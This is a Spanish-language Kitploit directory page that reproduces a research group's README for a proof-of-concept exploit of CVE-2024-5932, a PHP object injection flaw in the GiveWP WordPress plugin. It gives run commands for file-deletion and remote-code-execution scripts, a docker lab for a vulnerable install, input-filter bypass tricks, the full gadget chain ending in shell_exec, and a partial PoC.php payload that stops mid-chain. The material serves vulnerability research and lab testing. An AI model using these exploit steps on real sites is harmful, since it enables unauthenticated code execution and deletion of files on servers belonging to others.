Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-5932 — Exploit de prueba de concepto para CVE-2024-5932, una vulnerabilidad de inyección de objetos PHP en el plugin GiveWP de WordPress, que permite ejecución remota de código no autenticada y eliminación arbitraria de archivos a través de una cadena POP. | Kitploit
Herramientas/GitHubGitHub/nishant-kumar-5173/cve-2024-5932
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y EducaciónDesarrollo de Payloads
GitHub
nishant-kumar-5173/cve-2024-5932

CVE-2024-5932

Exploit de prueba de concepto para CVE-2024-5932, una vulnerabilidad de inyección de objetos PHP en el plugin GiveWP de WordPress, que permite ejecución remota de código no autenticada y eliminación arbitraria de archivos a través de una cadena POP.

Ver Repositorio
5hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Esta publicación es un artículo de investigación publicado por EQSTLab.

❗❗ IMPORTANTE ❗❗

Actualmente existen repositorios PoC falsos en GitHub que ejecutan xmrig. Consulta el siguiente enlace para más información:

URL1: https://x.com/win3zz/status/1828704644987511107

URL2: https://x.com/bornunique911/status/1828712791844524453

URL3: https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 PoC de eliminación arbitraria de archivos y RCE ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

Cronología

25 ago : PoC de eliminación de archivos CVE-2024-5932 subido

26 ago : Hemos ejecutado con éxito comandos arbitrarios usando CVE-2024-5932, pero estamos considerando la divulgación debido al impacto.

27 ago : Encontramos un análisis detallado del PoC en una publicación de Julien Ahrens de RCE Security y decidimos publicar nuestro PoC de RCE. Subimos un PoC de RCE adicional como CVE-2024-5932-rce.py.

Descripción

CVE-2024-5932 : Vulnerabilidad de inyección de objetos PHP de GiveWP Descripción: El plugin GiveWP Donation Plugin and Fundraising Platform para WordPress es vulnerable a la inyección de objetos PHP en todas las versiones hasta la 3.14.1 inclusive, mediante la deserialización de entrada no confiable del parámetro 'give_title'. Esto permite que atacantes no autenticados inyecten un objeto PHP. La presencia adicional de una cadena POP permite a los atacantes ejecutar código de forma remota y eliminar archivos arbitrarios.

Cómo usar

Clonar con Git

git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

Instalar paquetes

pip install -r requirements.txt

Comando

# Eliminación arbitraria de archivos
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Ejecución remota de código
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>

Ejemplo

python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

Salida

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

Resultado

image 2

Entorno vulnerable

1. docker-compose.yml

services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. Luego descarga el plugin vulnerable GiveWP:

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. Descomprime el archivo zip del plugin GiveWP y copia todo el contenido al directorio “/var/www/html/wp-content/plugins”.

docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. Activa el plugin GiveWP

image

5. Añade una nueva entrada con el plugin GiveWP y copia el enlace de la entrada

image

6. Comprueba el enlace vulnerable

image

(Opcional) Configurar el archivo objetivo en el entorno Docker

Primero, accede al shell de WordPress con el siguiente comando:

docker exec -it -u root docker-wordpress-1 /bin/bash

Si el archivo pertenece a root, es posible que no se pueda eliminar debido a los permisos. Por lo tanto, debes cambiar el propietario del archivo de prueba con el siguiente comando:

touch test && chown www-data test

image

Depuración con PHPSTORM

Puedes depurar tu GiveWP usando PHPSTORM.

1. Descarga xdebug en tu WordPress (Docker):

pecl install xdebug

2. Luego configura el archivo php.ini de WordPress así (Docker):

[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

...Y luego puedes depurar tu WordPress.

3. Configura PHPSTORM así (Local):

image image

4. Ejemplo de PHPSTORM (p. ej., eliminación arbitraria de archivos TCPDF)

image

Análisis

Punto vulnerable (includes/payments/class-give-payment.php)

En este punto, la función get_meta() deserializa el valor "give_title" guardado previamente.

switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

Técnica de bypass

strip_tags: reemplaza los bytes nulos -> usando \0

stripslashes_deep: reemplaza las barras invertidas -> usando \\\\

Encadenamiento POP para RCE

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Devuelve la cadena de comando)

call_user_func('shell_exec', 'command')

PoC.php

<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}
Descargar herramienta